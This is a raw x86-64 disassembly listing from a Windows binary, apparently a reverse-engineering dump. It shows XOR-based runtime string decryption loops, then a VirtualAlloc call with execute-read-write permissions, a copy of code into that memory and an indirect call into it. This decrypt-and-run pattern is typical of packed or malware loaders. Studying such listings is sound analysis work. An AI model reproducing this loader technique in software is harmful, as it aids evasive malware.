punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x318], xmm3
movdqa xmm4, xmm11
punpckldq xmm4, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm2, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psrad xmm4, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm14
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x320]
xorps xmm3, xmm1
movq qword [rsp + 0x320], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x328]
xorps xmm3, xmm1
movq qword [rsp + 0x328], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x330]
xorps xmm3, xmm1
movq qword [rsp + 0x330], xmm3
jmp 0x14023b7b7
lea r10, [rsp + 0x318]
mov r9d, 0xffcb
nop word [rax + rax]
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x10
jl 0x14023b770
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0xaf0]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xaf0]
call fcn.140206930
nop
lea rcx, [rsp + 0xaf0]
call fcn.1402489a0
mov byte [0x1402940d1], 0
lea rcx, [rsp + 0x1040]
call fcn.1402489a0
nop
lea rcx, [rsp + 0xf48]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xf68]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xe70]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xd90]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x1020]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xdf8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x1000]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x1080]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xf28]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xf08]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x10a0]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xee8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xec8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xea8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xe18]
call fcn.140248aa0
mov rbx, qword [rsp + 0xea0]
mov r13, qword [rsp + 0xe98]
mov rdi, qword [rsp + 0xe90]
jmp 0x14023bd15
mov byte [0x1402940d1], 0
lea rdi, [fcn.1401f17d0]
mov rax, qword [0x14027d850]
mov qword [rsp + 0x1a0], rax
cmp byte [0x14027d857], 0
je 0x14023bb85
mov r9d, esi
cmp r12d, 2
jl 0x14023bb32
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm9, xmm0
andps xmm9, xmm10
packuswb xmm9, xmm9
packuswb xmm9, xmm9
paddb xmm2, xmm9
movd eax, xmm15
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1a0]
xorps xmm2, xmm1
movd dword [rsp + 0x1a0], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm11, xmm0
andps xmm11, xmm10
packuswb xmm11, xmm11
packuswb xmm11, xmm11
paddb xmm2, xmm11
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1a4]
xorps xmm2, xmm1
movd dword [rsp + 0x1a4], xmm2
jmp 0x14023bb85
lea r10, [rsp + 0x1a0]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14023bb40
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x538], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea r12, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], r12
mov rbx, qword [r12]
xor rbx, r13
mov qword [rsp + 0xd50], rbx
mov qword [r12], rsi
mov ecx, esi
mov rax, qword [0x140295aa0]
lea r15, [0x14024a750]
test rax, rax
je 0x14023bc0c
mov rdx, rsi
cmp rax, r15
je 0x14023bbfb
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295aa0]
test rax, rax
jne 0x14023bbe3
jmp 0x14023bc0c
mov r8, qword [r14 + rdx*8 + 0x294790]
test r8, r8
jne 0x14023bcef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023bc35
mov r8, rsi
jmp 0x14023bcce
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023bc40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294de8]
mov qword [r14 + rax*8 + 0x295aa0], r15
mov qword [r14 + rax*8 + 0x294790], r8
inc rax
mov qword [0x140294de8], rax
lea rdx, [rsp + 0x538]
mov rcx, rdi
call r8
nop
xor rbx, r13
mov qword [r12], rbx
lea rbx, [rsp + 0x62c8]
mov rdi, qword [rsp + 0xd30]
lea rcx, [rsp + 0xdd0]
call fcn.140248aa0
nop
xor r13, rdi
mov qword [rbx], r13
jmp 0x14023bd46
mov rcx, qword [rsp + 0x6200]
xor rcx, rsp
call fcn.14026d9f0
lea r11, [rsp + 0x62b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.1401f1b20
nop
call fcn.1401f1b20
nop
call fcn.1401f1b20
call fcn.1401f1b20
nop
call fcn.1401f1b20
nop
call fcn.1401f1b20
nop
call fcn.1401f1b20
call fcn.1401f1b20
int3